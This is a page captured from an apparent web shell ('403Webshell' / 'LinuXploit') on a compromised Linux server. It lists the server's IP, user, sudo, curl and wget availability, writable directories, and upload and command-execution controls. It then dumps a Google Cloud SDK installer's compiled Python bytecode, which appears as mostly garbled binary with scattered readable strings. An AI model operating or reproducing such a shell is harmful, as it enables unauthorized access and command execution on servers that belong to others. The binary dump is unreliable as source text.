403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/google-cloud-sdk/bin/bootstrapping/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/google-cloud-sdk/bin/bootstrapping/__pycache__/install.cpython-311.pyc
�

���4��b�dZddlmZddlmZddlmZddlZddlZddlZddlZddl	m
Z
ddl	mZddlm
Z
dd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlmZddlmZddlmZejg��Zd�Zd�Zd�Zd�Z d�Z!dZ"dZ#de#zZ$dZ%d�Z&d�Z'e(dkre'��dSdS)z#Do initial setup for the Cloud CLI.�)�absolute_import)�print_function)�unicode_literalsN)�actions)�
exceptions)�config)�execution_utils)�platforms_install)�
properties)�
console_io)�update_manager)�encoding)�files)�	platforms)�gcloud_mainc	�&�d�}tj��}|�dd|d���|�dd|d���|�ddd	�
��|�dd�
��|�ddd|d���|�dd|d���|�ddd���|�ddd���|�ddd���|�dddtjt
jjjd ��d!�"��|�d#d |d$���|�d%d&d'���|�	tj��d(d���S))zDParse args for the installer, so interactive prompts can be avoided.c�.�|���dvS)N)�true�1)�lower)�ss �bin/bootstrapping/install.py�BoolzParseArgs.<locals>.Bool(s���7�7�9�9�
�%�%�z--usage-reportingNz.(true/false) Enable anonymous usage reporting.)�default�type�helpz--screen-readerz'(true/false) Enable screen reader mode.z--universe-domainzhUniverse domain to default to. If specified, sets the [core/universe_domain] property installation-wide.)rrz	--rc-pathz�Profile to update with PATH and completion. If given without --command-completion or --path-update in "quiet" mode, a line will be added to this profile for both command completion and path updating.)rz--command-completionz--bash-completionz�(true/false) Add a line for command completion in the profile. In "quiet" mode, if True and you do not provide--rc-path, the default profile will be updated.z
--path-updatez�(true/false) Add a line for path updating in the profile. In "quiet" mode, if True and you do not provide --rc-path, the default profile will be updated.z--disable-installation-options�
store_truez)DEPRECATED.  This flag is no longer used.)�actionrz--override-components�*zUOverride the components that would be installed by default and install these instead.)�nargsrz--additional-components�+z�Additional components to install by default.  These components will either be added to the default install list, or to the override-components (if provided).�--quietz-qTzgDisable all interactive prompts. If input is required, defaults will be used or an error will be raised)rrrz--install-pythonz3(true/false) Attempt to install Python. MacOS only.�--no-compile-python�store_falsezEFalse. If set, skips python compilation after component installation.�)�argparse�ArgumentParser�add_argumentr�StoreConstPropertyr�VALUES�core�disable_prompts�
parse_args�
bootstrapping�GetDecodedArgv)r�parsers  r�	ParseArgsr2%sh��&�&�&��"�$�$�&�������;�	����	������4�	����	�����@�	����	���� ��	�	�	�	��������
����	��������
�
�
�	���&�
�6�����
	�����/�	����	�����?�	����	����
��
�
'�
�
�
 �
0�$��������	������@�	����	����
��	����
�	�	�=�7�9�9�!�"�"�=�	>�	>�>rc��|��tjtjd��	�!tjtjd��}n�|�"|tjjjjkrd}ngtj
������rd}td��n%td��tjdd���}t	jtjjj|tjj�	��dS)
aPDisplay prompts to opt out of usage reporting.

  Args:
    usage_reporting: bool, If True, enable usage reporting. If None, check the
      environmental variable. If None, check if its alternate release channel.
      If not, ask.
    universe_domain: str, if specified and not 'googleapis.com', set
      usage-reporting to False.
  N�%CLOUDSDK_CORE_DISABLE_USAGE_REPORTINGFTzF
    Usage reporting is always on for alternate release channels.
    a
To help improve the quality of this product, we collect anonymized usage data
and anonymized stacktraces when crashes are encountered; additional information
is available at <https://cloud.google.com/sdk/usage-statistics>. This data is
handled in accordance with our privacy policy
<https://cloud.google.com/terms/cloud-privacy-notice>. You may choose to opt in this
collection now (by choosing 'Y' at the below prompt), or at any time in the
future by running the following command:

    gcloud config set disable_usage_reporting false
z0Do you want to help improve the Google Cloud CLI��
prompt_stringr��scope)r�GetEncodedValue�os�environrr+r,�universe_domainrr�InstallationConfig�Load�IsAlternateReleaseChannel�printr�PromptContinue�PersistProperty�disable_usage_reporting�Scope�INSTALLATION)�usage_reportingr<s  r�PromptsrG�s3����	� ��J�?�	
�	
��	�
%�4�
�*�=����o�o�
�
%���!2�!7�!G�!O�O�O�����$�)�)�+�+�E�E�G�G����
��		�		�		�		�	�
�
	�
	�
	�%�3�L������
�����4�/�6I���)�+�+�+�+�+�+rc���|�|ntj��}t|��}|r|�|��t	|||���|st
�gd���dSdS)z,Do the normal installation of the Cloud CLI.N��update)r#�
components�list)r/�GetDefaultInstalledComponents�bool�extend�InstallOrUpdateComponents�_CLI�Execute)�override_components�additional_components�compile_python�
to_installrJs     r�InstallrW�s���(;�'F�#�#�"�@�B�B�
��
���&��-����+�,�,�,��J��v�F�F�F�F�
�4��L�L�2�2�2�3�3�3�3�3�4�4rc�z�tj��}|�|��t||d���dS)z�Do a forced reinstallation of Google Cloud CLI.

  Args:
    component_ids: [str], The components that should be automatically installed.
    compile_python: bool, False if we skip compile python
  TrIN)r/rMrOrP)�
component_idsrUrVs   r�	ReInstallrZ�sC���:�<�<�*����M�"�"�"��M�>�$�G�G�G�G�G�Grc���|s|sdStd��|rdnd}dd|g}|s|�d��n|�d��t�||z��dS)	ayInstalls or updates the given components.

  Args:
    component_ids: [str], The components to install or update.
    compile_python: bool, False if we skip compile python
    update: bool, True if we should run update, False to run install.  If there
      are no components to install, this does nothing unless in update mode (in
      which case everything gets updated).
  Nzi
This will install all the core command line tools necessary for working with
the Google Cloud Platform.
rJ�installr#rKr$z--compile-python)r@�appendrQrR)rYrUrJ�verb�execute_arg_lists     rrPrP�s���
��
��
�F�������	*����$���t�4��	�0����1�2�2�2�2����.�/�/�/��,�,���&�����rz3/Library/Frameworks/Python.framework/Versions/3.11/zpython-3.11.6-macos11.tar.gzz1https://dl.google.com/dl/cloudsdk/channels/rapid/z3.11c�6�tj���tjjkrdSt	d�t����tj�	t��}|rd�t��}nd�t��}tj|d���}|�rJg}|�s(t	d�t����tj��5}tj|��5dd	d
t g}t#j|d���}|dkr|�d
��nmt#jddt(gd���}|dkr|�d��n3t#jgd�d���}|dkr|�d��ddd��n#1swxYwYddd��n#1swxYwY|s�d�t��}|tjd<t	d��tj�	t-j��j��r:t2�gd���t2�gd���dSt2�dddd|g��t2�gd���dSt	d�d�|������dSdS)z*Optionally install Python on Mac machines.NzA
Google Cloud CLI works best with Python {} and certain modules.
z=Python {} installation detected, install recommended modules?z%Download and run Python {} installer?Tr5zERunning Python {} installer, you may be prompted for sudo password...�curlz--silentz-O)�no_exitrz#Failed to download Python installer�tarz-xfz"Failed to extract Python installer)�sudo�	installerz-target�/z-pkgz./python-3.11.6-macos11.pkgzInstaller failed.z{}/bin/python3�CLOUDSDK_PYTHONzSetting up virtual environment)r�
virtualenvrJ)rrh�enablerrh�createz--python-to-usez%Failed to install Python. Errors 

{}z
*)r�OperatingSystem�Current�MACOSXr@�format�PYTHON_VERSIONr:�path�isdir�MACOS_PYTHON_INSTALL_PATHrrAr�TemporaryDirectory�ChDir�MACOS_PYTHON_URLr	�Execr]�MACOS_PYTHONr;r�Paths�virtualenv_dirrQrR�join)�already_have_python_version�prompt�setup_python�install_errors�tempdir�	curl_args�	exit_code�
python_to_uses        r�MaybeInstallPythonOnMacr� s�����&�&�(�(�I�,E�,L�L�L�
�F��M�	���	�	�!�!�!�!#��
�
�.G� H� H�� �L�� �&��0�0��F�5�
;�
;�N�
K�
K�F��*���N�N�N�,��&'��N�&�;��
� �&��0�0�2�2�2��#�%�%�;��
�[��
!�
!�	;�	;��z�4�1A�B�)�%�*�9�d�C�C�C�)�
�!�^�^��!�!�"G�H�H�H�H�'�,�e�U�L�-I�59�;�;�;�I��A�~�~��#�#�$H�I�I�I�I�)�.�0�0�0�8<�	=�=�=�i�
�a����%�%�&9�:�:�:�#	;�	;�	;�	;�	;�	;�	;�	;�	;�	;�	;����	;�	;�	;�	;�;�;�;�;�;�;�;�;�;�;�;����;�;�;�;�(�
'�&�-�-�.G�H�H�m�&3�b�j�"�#��,�-�-�-�	����v�|�~�~�4�	5�	5�9����7�7�7�8�8�8����7�7�7�8�8�8�8�8����h��h�8I�#�%�	&�	&�	&����7�7�7�8�8�8�8�8��5�<�<�
�*�*�^�
$�
$�
&�
&�'�'�'�'�'�K&'�&'s7�G1�#B+G�G1�G	�G1�!G	�"G1�1G5�8G5c��tjjj�d��t��}|j�?tjtjjj|jtj	j
���|j�?tjtjjj|jtj	j
���tjtj��jt$���t'jt*jd��}	|r*t/|�d��|j��dSt5|j|j��t9jdd���tjjs tA|j!|j"|j��tGj$|j%|j&|j't8j(t8j)�	��|j*rtW��tYd
��dS#tZj.$r.}tY|��t_j0d��Yd}~dSd}~wwxYw)NFr7)�sdk_root�command�CLOUDSDK_REINSTALL_COMPONENTS�,�INSTALLr,)�component_id)�completion_update�path_update�rc_path�bin_pathr�zl
For more information on how to get started, please visit:
  https://cloud.google.com/sdk/docs/quickstarts

r&)1rr+�
context_aware�use_client_certificate�Setr2�
screen_readerrB�
accessibilityrDrEr<r,r
�RestartIfUsingBundledPythonrrxr��__file__rr9r:r;rZ�split�no_compile_pythonrGrFr/�CommandStart�INSTALLATION_CONFIG�disable_updaterrWrSrTr
�UpdateRC�command_completionr�r��BIN_DIR�SDK_ROOT�install_pythonr�r@r�
ToolException�sys�exit)�pargs�reinstall_components�es   r�mainr�Ys?����!�8�<�<�U�C�C�C�
�+�+�%�
��$���z�0�>�L�$�2�%/�%5�%B�D�D�D�D���&���z�0�5�E�$�4�%/�%5�%B�D�D�D�D��,�f�l�n�n�6M�5=�?�?�?�?�!�1��j�1�3�3������$�*�*�3�/�/��1H�I�I�I�I�I�
�e�#�U�%:�;�;�;�� ���@�@�@�@�
�
'�
7�
���%��'��#�	
�	
�	
�� �!�4��'��-� �(� �)�����
�	�"��!�!�!��
�������
�	!����	�!�H�H�H��H�Q�K�K�K�K�K�K�K�K�K��������s�*H�CH�I�#H<�<I�__main__))�__doc__�
__future__rrrr/r'r:r��googlecloudsdk.callioperr�googlecloudsdk.corerr	r
r�googlecloudsdk.core.consoler�googlecloudsdk.core.updaterr
�googlecloudsdk.core.utilrrr�googlecloudsdkr�	CreateCLIrQr2rGrWrZrPrrrwruror�r��__name__�rr�<module>r�s��*�)�&�&�&�&�&�&�%�%�%�%�%�%�'�'�'�'�'�'���������	�	�	�	�
�
�
�
�+�+�+�+�+�+�.�.�.�.�.�.�&�&�&�&�&�&�/�/�/�/�/�/�1�1�1�1�1�1�*�*�*�*�*�*�2�2�2�2�2�2�6�6�6�6�6�6�-�-�-�-�-�-�*�*�*�*�*�*�.�.�.�.�.�.�&�&�&�&�&�&��{��R� � ��q?�q?�q?�h2+�2+�2+�j4�4�4�2H�H�H����DR��-��7�,�F����6'�6'�6'�r.�.�.�b�z����$�&�&�&�&�&��r

Youez - 2016 - github.com/yon3zu
LinuXploit